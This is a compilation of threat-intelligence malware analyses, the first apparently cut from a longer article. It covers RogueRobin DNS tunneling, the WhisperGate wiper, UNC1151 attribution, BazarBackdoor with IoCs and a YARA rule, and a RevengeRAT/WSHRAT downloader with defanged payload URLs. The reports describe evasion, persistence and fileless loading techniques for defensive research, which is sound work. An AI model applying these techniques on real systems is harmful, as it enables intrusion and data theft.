### .NET Main DNS Tunneling Operations
The .NET variant begins its main operations by sleeping for 1 second and then checking to see if Google Drive mode, called “x_mode,” is enabled. If enabled, this variant will attempt to communicate using this capability. However, this alternate communications channel will not be discussed here as it is out of scope for this blog post. Next, this variant will check for tasks by issuing a request type “b” DNS query. It will use regex to extract that portion of the DNS reply that requires parsing of the jobID. The responses are extracted as follows:
It will then use the extraction mechanisms identified in the table above to determine if the received DNS reply indicates the presence of a job waiting. If so, the malware will begin issuing the necessary request type “c” DNS requests in order to receive its job data.
The controller will respond with an encoded DNS reply from which RogueRobin will extract the necessary data using the magic function with a state of `getjob`. This function returns the command length, a flag indicating if there is more data to be sent (`isMore` flag), and the command data itself. Other than the command data itself, the rest of the data extracted is used to control the issuance of DNS requests for more data until all command data is properly received. If any error conditions are met, such as the command having a length of 0, “cancel” will be returned.
Unless “cancel” is received, RogueRobin will decode using the `word_to_number` function and then convert the hexadecimal strings in the command to their corresponding ASCII characters. If successful, the command is then passed to the `taskHandler` command where the received command is executed in a separate thread. The process then repeats.
### TaskHandler Function
The `taskHandler` function is responsible for parsing the received command data. Each command is parsed in a different way and which command has been issued is determined by more regex matching. The following table lists the commands processed by the .NET variant. Although several of the commands are the same as those found in its PowerShell counterpart, several have also been added and deleted.
### Spliting Function - Sending Data Back to the Controller
The .NET version of the `spliting` function has the same purpose and takes the same three parameters as its PowerShell cousin:
- The data to be sent
- A boolean value indicating whether the data should be encoded
- The jobID with which the data is associated
However, the underlying communications protocol is, once again, different and instead communicates using request type “d.” First, if the boolean parameter passed is true, the .NET variant will execute `insertGarbage` which involves simply converting the data bytes to their hexadecimal representation. Next, this variant checks to see if `x_mode` is enabled and, if so, transmits the data using that mechanism. Otherwise, a random value is chosen between `min_query_size` and `max_query_size` (30 and 32, respectively in the case of our sample) and is used as a message chunk size. It will extract the chunk size number of characters for transmission using a single DNS query. If the chunk size is greater than the length of the message, it will set the `isMore` flag to 0, indicating the transfer of the message to its controller is now complete.
Next, it will choose a random “separator” character. This is a randomly chosen character in the set [r-v]. RogueRobin will use these parameters to build a request type “d” DNS request which is then sent to the controller. It will continue to break messages up for transmission until the entire message has been sent. Each query will yield a DNS reply from the controller and each reply will be checked as follows:
## Conclusion
Anytime an adversary acquires the ability to control both the send and receive side of communications, the potential to perform tunneling exists. Coupling this with a chatty protocol that is necessary to the proper functioning of any Internet-connected network such as DNS provides the adversary a built-in mechanism by which to blend in with noise, hide in plain sight, and increase the chances of going undetected.
This series of blog posts discussed a few examples of malware that use DNS tunneling to communicate. Although the method of DNS tunneling used is similar (e.g., encoded subdomain labels and encoded responses), the structure, encoding, and record type often differed between the samples. PoisonFrog and Glimpse were similar both from a coding and operational standpoint, though Glimpse added text mode which uses TXT resource records to increase the throughput of data from the controller. For RogueRobin, the malware authors went so far as to invent an entirely new DNS record type altogether in their data exfiltration pursuits.
Similar to the malware discussed in our prior posts, RogueRobin makes use of encoded subdomain labels and responses so detection methods between the three types of malware discussed in this series will be similar. The IronDefense Network Traffic Analysis platform combines several behavioral detection methods alongside historical network information to detect the C2 techniques used by the malware examined in this blog series. IronNet's Threat Research team will continue to examine malware and share findings with the community. |
# Analysis of Destructive Malware (WhisperGate) Targeting Ukraine
**S2W**
**January 19, 2022**
## Executive Summary
On January 15, 2022, the Microsoft Threat Intelligence Center (MSTIC) identified a cyberattack targeting Ukrainian organizations. This malware overwrites the Master Boot Record (MBR) and files. The actor behind this attack has not yet been attributed to any existing groups. It was confirmed that the actor uses a tool for lateral movement and malware execution.
**Known working paths:**
C:\PerfLogs, C:\ProgramData, C:\, C:\temp
The malware operates in three stages:
1. Overwrites the MBR and destroys all partitions.
2. Downloads Stage 3 through a Discord link.
3. Executes the file wiper and AdvancedRun.exe after decoding resources.
The malware not only overwrites the MBR and creates a ransom note but also overwrites files without any backups, indicating that its purpose is data destruction rather than financial gain. Additional samples, such as Stage 3, are being shared among analysts on Twitter, and the IoC and analysis reports will be continuously updated.
## Detailed Analysis
### Stage 1
- **SHA256:** a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92
- **Creation Time:** 2022-01-10 10:37:18
- **First Submission:** 2022-01-16 20:30:19
- **File Type:** Win32 EXE
Stage 1 directly accesses the MBR and overwrites it with hard-coded data. Upon reboot, the overwritten code executes, traversing all drives and overwriting them with specific data at intervals of 199 LBAs. The overwritten code reads the ransom note string inside the MBR and displays it.
### Stage 2
- **SHA256:** dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78
- **Creation Time:** 2022-01-10 14:39:54
- **First Submission:** 2022-01-16 20:31:26
- **File Type:** Win32 EXE
Stage 2 does not perform malicious actions for 20 seconds to bypass antivirus detection. It runs a PowerShell command to pause execution, then downloads an additional file disguised as a JPG from a Discord link. The downloaded file is reversed and executes a method in memory.
### Stage 3 (Tbopbh.jpg)
- **SHA256:** 923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6
- **Creation Time:** 2022-01-10 14:39:31
- **First Submission:** 2022-01-16 21:29:58
- **File Type:** Win32 DLL
Stage 3 is written in C# and detected as obfuscated with Eazfuscator. It contains three resources, with one resource being confirmed for use. The decoded data is a DLL file containing two additional resources, which are extracted and decompressed.
1. **AdvancedRun:** Stops Windows Defender service and sets an exclusion path.
2. **Waqybg:** Overwrites target files with specific extensions.
### Ransom Note
Your hard drive has been corrupted. In case you want to recover all hard drives of your organization, you should pay us $10k via bitcoin wallet and send a message via Tox ID with your organization name. We will contact you to give further instructions.
### Related IoCs
- a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 (Stage 1)
- dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78 (Stage 2)
- 923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6 (Stage 3, Tbopbh.jpg)
- 9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d (Stage 3, Tbopbh.jpg)
- 35FEEFE6BD2B982CB1A5D4C1D094E8665C51752D0A6F7E3CAE546D770C280F3A (Decoded Resource “78c855a088924e92a7f60d661c3d1845”)
- 29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B (AdvancedRun.exe)
- DB5A204A34969F60FE4A653F51D64EEE024DBF018EDEA334E8B3DF780EDA846F (Nmddfrqqrbyjeygggda.vbs)
- 34CA75A8C190F20B8A7596AFEB255F2228CB2467BD210B2637965B61AC7EA907 (File Wiper) |
# UNC1151 Assessed with High Confidence to have Links to Belarus, Ghostwriter Campaign Aligned with Belarusian Government Interests
Mandiant Threat Intelligence assesses with high confidence that UNC1151 is linked to the Belarusian government. This assessment is based on technical and geopolitical indicators. In April 2021, we released a public report detailing our high-confidence assessment that UNC1151 provides technical support to the Ghostwriter information operations campaign; this assessment, along with observed Ghostwriter narratives consistent with Belarusian government interests, causes us to assess with moderate confidence that Belarus is also likely at least partially responsible for the Ghostwriter campaign. We cannot rule out Russian contributions to either UNC1151 or Ghostwriter. However, at this time, we have not uncovered direct evidence of such contributions.
## Cyber Espionage Targeting Most Closely Aligns with Belarusian Government Interests
UNC1151 has targeted a wide variety of governmental and private sector entities, with a focus in Ukraine, Lithuania, Latvia, Poland, and Germany. The targeting also includes Belarusian dissidents, media entities, and journalists. While there are multiple intelligence services that are interested in these countries, the specific targeting scope is most consistent with Belarusian interests. In addition to the targeting scope, UNC1151 operations have focused on obtaining confidential information and no monetization efforts have been uncovered.
Since at least 2016, UNC1151 has registered credential theft domains that spoof legitimate websites to steal victim credentials. Outside of the major American companies that are used worldwide (Facebook, Google, Twitter), most spoofed organizations have been in the five countries listed above. This has included regional webmail providers, national and local governments, and private businesses.
Malware-based intrusions have also focused on Eastern Europe. Multiple significant intrusions into Ukrainian government entities have been conducted by UNC1151. Though most of the activity was targeting Ukraine, some targeted Lithuania and Poland. UNC1151 targeted multiple Belarusian media entities and several members of the political opposition in Belarus in the year before the 2020 Belarusian election. UNC1151 has targeted media entities in Lithuania, Poland, Ukraine, and Latvia, but we have not seen similar targeting of opposition leaders or domestic political activists in these countries. Additionally, in several cases, individuals targeted by UNC1151 before the 2020 Belarusian election were later arrested by the Belarusian government.
The group has not targeted Russian or Belarusian state entities. It has spear-phished intergovernmental organizations dealing with former-Soviet states, but not their governments.
While the majority of UNC1151 operations have targeted countries neighboring Belarus, a small minority have been conducted against governments with no obvious connection to Belarus. There are multiple possible explanations for this targeting, including incidental inclusion on diplomatic mailing lists, or non-public bilateral issues. However, the targeting that does not align directly to Belarusian interests could indicate that UNC1151 also supports additional priorities. These out-of-scope operations mainly took place between 2016 and 2019.
Historical UNC1151 domains have spoofed the websites of entities such as Malta’s Government, Kuwaiti Army, France’s military, and other targets that are beyond Belarus’ immediate geographic neighborhood. More recent UNC1151 domains have spoofed entities related to high priority targets such as Poland, Lithuania, and Ukraine.
In June 2019, UNC1151 sent a phish with a malicious attachment to 33 recipients. While the majority were located in Poland, Lithuania, Latvia, and Ukraine, it was also sent to the Colombian, Irish, and Swiss governments. In addition, multiple credential theft emails have been sent to the Colombian Ministry of Foreign Affairs.
## Technical Evidence Indicates Operators Located in Minsk, Possible Connection to the Belarusian Government
Sensitively sourced technical evidence indicates that the operators behind UNC1151 are likely located in Minsk, Belarus. This assessment is based on multiple sources that have linked this activity to individuals located in Belarus. In addition, separate technical evidence supports a link between the operators behind UNC1151 and the Belarusian military. Evidence for the location in Belarus and connection to the Belarusian Military has been directly observed by Mandiant. These connections have been confirmed with separate sources.
## Operational Continuity and No Links to Previously Tracked Groups
Mandiant has tracked UNC1151 since 2017, and during this time there have been no overlaps with other tracked Russian groups, including APT28, APT29, Turla, Sandworm, and TEMP.Armageddon. While we cannot rule out Russian support for or involvement in UNC1151 or Ghostwriter operations, the TTPs used by UNC1151 are unique to this group. Sandworm Team has conducted significant credential theft operations during the time UNC1151 has been active, but the techniques used have been distinct. While UNC1151 primarily sent phishes impersonating security notices, Sandworm team has leveraged watering holes designed to redirect users to spoofed login websites. TEMP.Armageddon has conducted extensive targeting of multiple Ukrainian entities during the time UNC1151 has been actively targeting Ukraine. The two groups appear to act without knowledge of the other and do not share any malware, infrastructure, or other resources. We continue to assess that Ghostwriter activity is distinct from other information operations campaigns such as Secondary Infektion. Since 2017, UNC1151 operations have leveraged evolving but contiguous TTPs. This evolution is consistent with the maturation of a single organization, and we have not uncovered any evidence of a discontinuity in operators.
## Ghostwriter Operations Aligned with Narrower Belarusian Interests Since Mid-2020
Pre-2020 Ghostwriter information operations were primarily anti-NATO, but since mid-2020 they have focused on Belarus’ neighbors. From the earliest observed Ghostwriter operation until mid-2020, the Ghostwriter campaign primarily promoted anti-NATO narratives that appeared intended to undercut regional security cooperation in operations targeting Lithuania, Latvia, and Poland. To this end, observed operations have disseminated disinformation portraying the foreign troop presence in the region as a threat to residents and alleging that the costs of NATO membership are a detriment to local populations. The seeming intended effect of these narratives—to erode regional support for NATO—can serve both Russian and Belarusian interests. We note, however, that the campaign has specifically targeted audiences in countries bordering Belarus, whereas Russia has long promoted anti-NATO narratives both in the region and further afield. Specifically, observed Ghostwriter operations, in this time period and through the present, have almost completely excluded Estonia, which notably does not border Belarus but is a Baltic State, NATO member, and a relevant component of any concerns about NATO’s security posture on its eastern flank.
Twenty-two out of 24 observed Ghostwriter operations conducted prior to mid-2020 promoted narratives that were either directly critical of NATO—including allegations of the deployment of nuclear weapons, NATO troops spreading COVID-19, and crimes committed by NATO troops—or otherwise critical of the presence of foreign troops from allied member states. Two additional operations conducted during this period promoted narratives that appeared intended to create controversy in Lithuanian domestic political affairs.
Since the disputed August 2020 elections in Belarus, Ghostwriter operations have been more distinctly aligned with Minsk’s interests. Promoted narratives have focused on alleging corruption or scandal within the ruling parties in Lithuania and Poland, attempting to create tensions in Polish-Lithuanian relations, and discrediting the Belarusian opposition. Both governments have strongly condemned the Lukashenka regime’s crackdown on demonstrations and extraordinary efforts to stay in power. In addition, several Ghostwriter operations have promoted narratives specific to Belarus, including narratives critical of alleged Polish government support for Belarusian dissidents. It is possible that operations seemingly intended to undermine local confidence in the Lithuanian and Polish governments are a response to what Belarus has claimed to be their intervention in Belarusian domestic affairs. Likewise, operations seemingly intended to create tensions between the two nations may be an attempt to undercut their cooperation, which has in part characterized their responses to Belarus-related issues.
In August 2020, Ghostwriter personas published articles that portrayed the protests in Belarus as orchestrated by the U.S. and NATO, claiming that NATO is willing to intervene militarily on behalf of the protestors and arguing that the West should refrain from interfering in the "internal affairs" of Belarus. Additionally, Ghostwriter operations have promoted narratives that seem designed in part to suggest foreign interference in Belarus, primarily from Poland and Lithuania. Since the August 2020 elections, 16 out of 19 Ghostwriter operations promoted narratives defaming the Polish and Lithuanian governments. Of the remaining three narratives, two criticized NATO and one the EU.
Some operations targeting Poland and Lithuania have promoted narratives with connections to regional disputes involving Belarus. For example, multiple operations have alleged that accidents had occurred at Lithuanian nuclear power facilities. Lithuania has actively opposed the construction and operation of Belarus’s Astravyets nuclear power plant, which is located near the Lithuanian border. Likewise, an August 2021 Ghostwriter operation targeting Poland and Lithuania promoted a narrative about a fabricated crime committed by migrants, while Poland and Lithuania were accusing Belarus of orchestrating an outflow of migrants from its borders. We have observed some dissemination of these narratives in Russian by what we assess to be campaign assets. The promotion of Ghostwriter narratives in Russian suggests that they are in some way also intended to influence Russian-speaking audiences.
Ghostwriter narratives, particularly those critical of neighboring governments, have been featured on Belarusian state television as fact. We are unable to ascertain whether this is part of a coordinated strategy or if it is simply Belarusian state TV promoting narratives that are consistent with regime interest and being unconcerned with accuracy. Such television programs suggest that some Ghostwriter operations’ promoted narratives are particularly relevant to the ongoing internal political conversation in Belarus, and it raises the possibility that discrediting rival governments and Belarusian opposition figures in the eyes of the Belarusian public may be an additional goal of the Ghostwriter campaign.
We have observed multiple instances of Ghostwriter narratives discrediting the Polish government promoted on Belarusian state-owned TV news. The TV reports have featured allegedly leaked Polish government communications and documents that were promoted in a hack-and-leak style Ghostwriter operation that began in June 2021. They also specifically highlighted narratives that news programs framed as documenting Polish support for the Belarusian opposition. In one instance, a Belarusian TV news report even cited by name a Russian-language Telegram channel that we believe to be a Ghostwriter asset as its source. We have additionally observed pro-Belarusian government Telegram channels regularly repost or cite a Russian-language Telegram channel that we have attributed to Ghostwriter.
## Uncertainty around Malware Development and Information Operations Content
The sources of written content for Ghostwriter operations and of the malware used by UNC1151 remain uncertain. The creation of content for information operations, especially in multiple languages, requires a distinct skillset from conducting computer intrusions. Likewise, the development of custom malware requires software engineering skills that are distinct from those required to set up a credential theft operation. It is possible that the individuals supporting these functions are part of the same organization assessed to have a nexus to Belarus; however, the uncertainty and distinct skillsets required for different aspects of this activity creates a possibility for the involvement of additional organizations or countries.
Ghostwriter information operations have published content in English, Lithuanian, Polish, Latvian, Ukrainian, Russian, and German. We have determined that UNC1151 uses GoPhish primarily for their email sending operations – including both cyber espionage and Ghostwriter content dissemination. They often spoof the from envelope of the emails and previously leveraged email delivery services such as SMTP2GO to legitimize themselves. Technical details from early UNC1151 campaigns suggest that the group was unfamiliar with these technologies and may have learned on the job how to use them properly.
UNC1151 uses credential harvesting domains attempting to spoof legitimate webmail providers, generic login pages, and the legitimate websites of their targets. These credential harvesting domains are sent to victims via phishing email. Over time, UNC1151 domain registration TTPs have shifted. Early domain registration TTPs looked similar to, but did not technically overlap with, clusters of credential harvesting domains we attributed to Russian threat groups. Notably the group has shifted away from using Freenom and towards using Cloudflare services, which may be reflective of increased resources being available to the group.
UNC1151 has used a proprietary suite of malware, including HIDDENVALUE and HALFSHELL, and has infrequently been observed using open source or publicly available tools. Though we have observed the use of these early-stage foothold malware families, we have yet to see post-compromise activity. UNC1151 has improved in its technical skill since we began tracking the group. UNC1151 malware families are commonly .NET applications with basic command functionality. We have not seen any code overlap between these malware families, though supported commands appear to be similar at a high level. We have observed variants of HIDDENVALUE which support slightly different sets of commands. Prior to HIDDENVALUE, which has been used in several different operations targeting Ukraine and Poland, malware families used by UNC1151 may have been used for limited sets of operations.
## Attribution Summary
Mandiant assesses with high confidence that UNC1151 is linked to the Belarusian government and with moderate confidence is linked to the Belarusian military. This is based on the below factors:
- The countries targeted by the majority of UNC1151 operations have strained bilateral relationships with Belarus. While some of these countries are consistent targets of Russian cyber espionage, the specific mix supports a Belarusian nexus.
- Ministries of Defense are the most common government entities targeted by UNC1151, suggesting a military intelligence focus for the group.
- Individual targets, including individuals who are part of the Belarusian opposition and media are of most interest to Belarus.
- Sensitive technical information locates the operation in Minsk, Belarus and links it to the Belarusian Military.
- UNC1151 has conducted operations without a clear, direct link to Belarusian priorities. However, these are a minority of operations and are plausibly explained by multiple factors.
Mandiant assesses with high confidence that Ghostwriter information operations are conducted in support of the Belarusian government and with moderate confidence that they are conducted with Belarusian sponsorship. The operations conducted since the disputed Belarusian elections in 2020 have conformed to specific parochial Belarusian government goals and align with the overt actions taken by Belarus against Lithuania and Poland. The close technical links between UNC1151 and the Ghostwriter campaign suggest a high likelihood of a shared sponsor. However, we lack insight into the generation of the information operations’ content.
Mandiant has examined the possibility of Russian participation in UNC1151 and Ghostwriter operations, but we do not have sufficient evidence to confirm or refute a role in these activities. Mandiant has seen high level TTP overlaps with Russian operations and much of the targeting and information operations are consistent with Russian goals. Given the close ties between the governments, collaboration is plausible; however, we have not uncovered direct evidence of Russian government involvement. UNC1151’s initial focus on NATO’s reputation in the Baltics is also a goal of Russia. However, the operations focus in Lithuania and Latvia, which border Belarus, and were not uncovered in Estonia, which does not. Russia has significant offensive cyber and information operations expertise that could have supported the operation.
## Outlook and Implications
Belarusian sponsorship of UNC1151 and the links to the Ghostwriter operations showcase the accessibility and deniability of provocative information operations. While the cyber espionage operation was regionally focused and primarily leveraged an open source platform to steal credentials, it was able to support impactful information operations. These types of cyber operations are one of many tools that governments use to accomplish their goals, and do not exist in a vacuum, but are leveraged alongside other types of operations. |
# "Front Door" into BazarBackdoor: Stealthy Cybercrime Weapon
**By Roman Marshanski & Vitali Kremez**
**October 12, 2020**
**7 min read**
## Key Points
BazarBackdoor is the newer preferred stealthy covert malware leveraged for high-value targets, part of the TrickBot group toolkit arsenal. It consists of two components: a loader and a backdoor. The Bazar malware group pursues stealthiness via malware signing and only initially loading minimal malware functionality. Such an approach improves the malware's chance of long-term persistence inside the most secure networks.
Just like professional penetration testers, the crime group behind the BazarBackdoor employs legitimate penetration software kit Cobalt Strike for post-exploitation, enumerating and harvesting credentials for network hosts and active directory, uploading third-party software like Lasagne and BloodHound, as well as pivoting inside the network domain executing Ryuk ransomware. Advanced Intelligence experts include the relevant defense and hunting mechanisms such as the YARA signature for BazarBackdoor detection.
## Malware Stealthiness as Key Approach
As we learned from our multiple incident response cases, the BazarLoader's strength lies in its stealthy core component and obfuscation capability. The malware's goal is to plant on high-value targets and reach the server via the proxy and the domain generation algorithm on the EmerDNS domain protocol, searching for .bazar domains and resolving the server via the XOR function of the response IP address.
The malware aims to be stealthy and only load more advanced functionality via third-party components such as Cobalt Strike beacons. Such stealthiness allows the crime group to maintain persistency on the host even if the third-party software gets detected by anti-virus software.
## BazarLoader: Malware Signing
The group behind also takes advantage of certificate signing, evading particular anti-virus and other software products. The use of certificate authorities is widespread in the cybercriminal world. Historically, it was frequently a domain of advanced persistent threat groups (APTs). BazarLoader demonstrates that alarming trend. The usage of certificates exploits the trust of certificate authorities by using both new and revoked certificates.
While it may be slightly comforting to know that BazarLoader operators use revoked certificates up to six months after their expiration, they can easily purchase new ones. They can buy original code signing certificates for anywhere between $295 USD and $1,799 USD.
It is especially alarming that these certificates available to any cybercriminal are legitimate. The threat actor uses real corporations' information to register these certificates with major, widely trusted certificate authorities. Furthermore, even fully authenticated domains with EV SSL encryption are available for the cybercriminals. Such availability underscores the new reality in which even the most secure certificates should never be blindly trusted. Caution must be exercised every step of the way.
The use of code signing certificates allows Bazar operators to decrease detection rates significantly. According to the threat actor selling these certificates, their use reduces detection rates by 30 to 50 percent. Considering the profit margins of Bazar operators, it is highly likely they will continue buying these certificates. For them, these certificates are an investment with a high return on investment.
## BazarLoader: Use Of The Blockchain Technology
The ingenious use of blockchain is another smart investment decision by Bazar operators. This has cost them even less than the code signing certificates. The price of a blockchain-based, takedown resistant domain called the EmerDNS domain is less than 1 Emercoin per year. This is less than one US cent.
It should be mentioned, though, that prominent companies use Emercoin blockchain technology. Deloitte is one example, as well as the US government regulation integrity project. So once again, Bazar operators display an ability to use legitimate services for nefarious ends.
In particular, they use EmerDNS (.bazar) domains for connections with C2 servers. Because these domains use blockchain technology, law enforcement or security researchers' discovery does not threaten the cybercriminals' operation. Neither legal takedown nor sinkhole can disrupt these domains. So the creative use of EmerDNS (.bazar) domains is the reason this loader is called "BazarLoader."
More recently, the group introduced the domain generation algorithm (DGA) in the EmerDNS network. While the novelty claim appeared to be impressive, it was discovered that the algorithm was flawed. The algorithm provided an alternative server communication channel creating a massive number of name combinations.
## The Bazar Malware Infection Chain
The above-mentioned usage of legitimate services by Bazar malware operators is just the tip of the iceberg. They also used legitimate file-sharing services for malware spreading. While phishing emails are commonplace in cybercriminal campaigns, as about 91 percent of cyberattacks start with a phishing email, their particular use by Bazar malware operators is more sophisticated than usual. Once again, their tendency to turn legitimate organizations into unwitting accomplices is on full display, as they use a legitimate and widely used SendGrid email marketing platform to send out their phishing emails.
After the user has clicked on the phishing email link and landed on the decoy preview page, the page tries to trick the user into downloading malicious dual-extension executable files (such as PreviewReport.DOC.exe) by saying that the document preview is unavailable. These malicious dual-extension executable files are the BazarLoader files signed with certificates.
After a series of these deobfuscation processes, the encrypted BazarBackdoor is downloaded and decrypted. After this, the portable executable file header is validated for decryption. At that point, the infection chain moves to its final stage during which the host is compromised.
The loader performs process hollowing via two known methods such as process hollowing and process doppelganging. It injects malicious code into one of the following processes: cmd, explorer, and svchost. Then it executes its own code in the address space of one of them. Since the execution is masked under a legitimate process, the loader often evades some anti-virus detection.
Eventually, a scheduled task with the name such as "StartAd - Ad" is created, the loader writes itself into the Windows registry, and creates autorun entries. Because of this, whenever someone logs on to the system, the loader is able to run. The loader is protected from discovery in another way: the author of the scheduled task is set as Adobe. So once again, Bazar malware operators display some use of deception.
## From BazarBackdoor to Cobalt Strike Penetration Software Kit
One of the malware operation's notable components is to download and execute the Cobalt Strike beacons to further access once inside the targeted networks. Just like professional penetration testers, the crime group behind the BazarBackdoor employs legitimate penetration software kit Cobalt Strike for post-exploitation, enumerating and harvesting credentials for network hosts and active directory, uploading third-party software like Lasagne and BloodHound, as well as pivoting inside the network domain executing Ryuk ransomware.
## Ryuk Ransomware: BazarBackdoor's Ransomware of Choice
The group behind the malware is also largely responsible for the significant increase of the Ryuk ransomware lately impacting high-profile organizations all over the world. In The Art of War, Chinese military strategist Sun Tzu wrote that all warfare is based on deception. If so, then Bazar malware operators have turned cybercrime into an art form hunting for high-value targets and combining the use of legitimate services and its simplicity into one arcane web of deception.
## Prevention
Indicators of compromise include a scheduled task with the name "StartAd – Ad". Additionally, watch out for dual-extension executable files (such as PreviewReport.DOC.exe). Users should be careful not to trust revoked certificates. In particular, be on the lookout for the following revoked certificates used by BazarLoader:
1. VITA-DE d.o.o.
2. VB CORPORATE PTY. LTD.
3. VAS CO PTY LTD
4. THE FLOWER FACTORY S.R.L.
5. SLIM DOG GROUP SP Z O O
6. BlueMarble GmbH
7. PLAN CORP PTY LTD
8. PEKARNA TINA d.o.o.
9. PAMMA DE d.o.o.
10. LIT-DAN UKIS UAB
11. James LTH d.o.o.
12. FLORAL
13. D Bacte Ltd
14. Company Megacom SP Z O O
15. Cebola Limited.
## Indicators of Compromise
- SHA256: 8c99069bcb559bf7d9606af7ba1538cc8bacd79b4f3846f7487ec3b5179ef9d5
- SHA256: d8576fba423360297b0661833a0e06564230c2079db214dc6830c648e5193e51
- SHA256: 609fef55693698a2bc7695a4bdc574cfb45b590bde4f4291f8d99bc7f25e266a
- SHA256: ca833b3820cff853dc84eb98bf8910249a80a28ed2a7e1da2cc13937df1b39d4
- SHA256: bad9f0b937bc7a74cd5657127e7d1707ce024ccb5434044ef305dffd4307f29b
- SHA256: 2a7964c5d7268f4b320e91ad133654d75edca3c15f9e5c76dee7bf68634b933f
- SHA256: f54cec2b04daafb0a1d612ef84913a1d03ef61d7de8b4c144414378c4415ac09
## Yara Signature
```yara
rule crime_win64_backdoor_bazarbackdoor1 {
meta:
description = "Detects BazarBackdoor injected 64-bit malware"
author = "@VK_Intel"
date = "2020-04-24"
strings:
$str1 = "%id%"
$str2 = "%d"
$start = { 48 ?? ?? ?? ?? 57 48 83 ec 30 b9 01 00 00 00 e8 ?? ?? ?? ?? 84 c0 0f ?? ?? ?? ?? 40 32 ff 40 ?? ?? ?? ?? e8 ?? ?? ?? ?? 8a d8 8b ?? ?? ?? ?? ?? 83 f9 01 0f ?? ?? ?? ?? ?? 85 c9 75 ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 74 ?? b8 ff 00 00 00 e9 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? eb ?? 40 b7 01 40 ?? ?? ?? ?? 8a cb e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 48 8b d8 48 ?? ?? ?? 74 ?? }
$server = {40 53 48 83 ec 20 48 8b d9 e8 ?? ?? ?? ?? 85 c0 75 ?? 0f ?? ?? ?? ?? ?? ?? 66 83 f8 50 74 ?? b9 bb 01 00 00 66 3b c1 74 ?? a8 01 74 ?? 48 8b cb e8 ?? ?? ?? ?? 84 c0 75 ?? 48 8b cb e8 ?? ?? ?? ?? b8 f6 ff ff ff eb ?? 33 c0 48 83 c4 20 5b c3 }
condition:
( uint16(0) == 0x5a4d and ( 3 of them ) ) or ( all of them )
}
```
## Mitre ATT&CK Framework
- T1093 - Process Hollowing
- T1055 - Process Injection
**Source:**
Roman Marshanski investigates and researches underground and malware threats at Advanced Intelligence LLC. He is also the founder of a popular humor website Humoropedia. Roman focuses on developing websites and implementing security mechanisms. As a result of his website development career, he became interested in cybersecurity, earned a cybersecurity certification, and pursues a career in this field. He fell in love with malware at Advanced Intelligence LLC. Fascinated by malware's innovative and intricate ways, Roman intends to continue his love affair with the most sophisticated and elite malware developments.
Vitali Kremez is the Chairman and CEO of Advanced Intelligence, LLC. |
# Revenge is a Dish Best Served… Obfuscated?
Researching new and emerging cyber threats is common practice for the Binary Defense Threat Hunting team. Recently, the threat hunters came across an interesting multi-stage VBS downloader, which was used to distribute RevengeRAT and WSHRAT. This infection starts from an MHT file contained in a zip document sent over email, which communicates back to the following open directory server: `http://newdocreviewonline.3utilities[.]com/`. Contained on this server are two files, Review.php, which downloads Microsoft.hta. Upon reviewing the HTA file, we found that it is a JavaScript file full of URL encoded characters.
Decoding the characters shows an HTML file with some VBScript code inside of it that essentially creates a new script called A6p.vbs (stored in AppData/Local) which it then uses to pull down and execute the stage2, a new script called Microsoft.vbs. This stage2 is downloaded from `https://scisolinc[.]com/wp-includes/Text/microsoft.vbs` and is heavily obfuscated.
## Digging into the Stage2
As seen in the above image, there’s a large buffer of Base64 encoded text, and a replace call. The replace call replaces “(!” in the Base64 buffer with “A”, which allows the buffer to be decoded successfully. Decoding the Base64 buffer shows a more informative script, along with large blocks of junk code. Since the de-obfuscation work is still not done, it is necessary to strip out the junk code so that the script can be easily read. In doing so, the file size is reduced from 113KB to 75KB, which is a fairly large amount of junk code.
Looking at the now readable stage2, two things jump out. First, a Base64 encoded PE file is seen (evident by the TVqQAAMAAAA), which is the RevengeRAT executable. Next, a second large Base64 encoded string is noticed. This string is interesting and will be discussed later.
## Loading RevengeRAT
An initial glance may have overlooked the readable stage2, but the Base64 encoded portable executable (PE) file is still obfuscated. Scattered around the Base64 string are @ symbols, which need to be replaced with “0” in order for the PE to be decoded properly. However, it doesn’t do this immediately.
In order to maintain persistence, the script first copies Microsoft.vbs from AppData/Local/Temp to Appdata/Roaming, and then saves a run key called “microsoft” with the value set to “C:\User\%USER%\Appdata\Roaming\microsoft.vbs”. This allows the VBS to run at startup. Next, the script saves the obfuscated PE file into HKCU:\Software\Microsoft\microsoft as a string. The script then reads the previously saved key into memory and de-obfuscates the PE file before finally executing the file. This allows RevengeRAT to run in memory and not drop any files onto the system—a technique known as “fileless.”
## Digging into the “Interesting” Base64 String
Circling back around to the other Base64 string contained in the stage2 reveals a few things. First, unlike all other Base64 encountered so far, this string is not obfuscated. Additionally, the stage2 decodes the Base64 before saving the now decoded Base64 string to a file in Appdata/Roaming called GXxdZDvzyH.vbs, which it then executes with `wscript /b`. The /b flag specifies batch mode, which does not result in errors or input prompts.
Decoding the Base64 string gives us a file that strongly resembles the original obfuscated stage2.
## WSHRAT
Out of all samples discussed in this analysis, the WSHRAT drop was the most surprising. WSHRAT is a relatively new stealer written entirely in VBScript. This RAT is fairly modular, but in its base state can steal computer information like computer name and antivirus provider. It can also steal passwords from popular web browsers like Chrome, Internet Explorer, and Firefox. Additionally, besides installing as a Run key, the malware also seems to have the ability to create LNK files that pose as legitimate shortcuts but in reality, also execute the malware before executing the specified file.
If the malware detects that it is running as admin, it will also attempt to disable UAC so that it can always escalate to admin without prompting the user.
### Commands
| Name | Description |
|--------------------|--------------------------------------------------------------|
| disconnect | Closes the malware |
| reboot | Reboots the computer |
| shutdown | Shuts the computer off |
| execute | Executes whatever command/file is specified in the supplied parameter |
| install-sdk | Download the wshsdk.zip file from C2, consists of a standalone python installation |
| get-pass | Grab password from specified file |
| get-pass-offline | Grab passwords from browsers along with specified file |
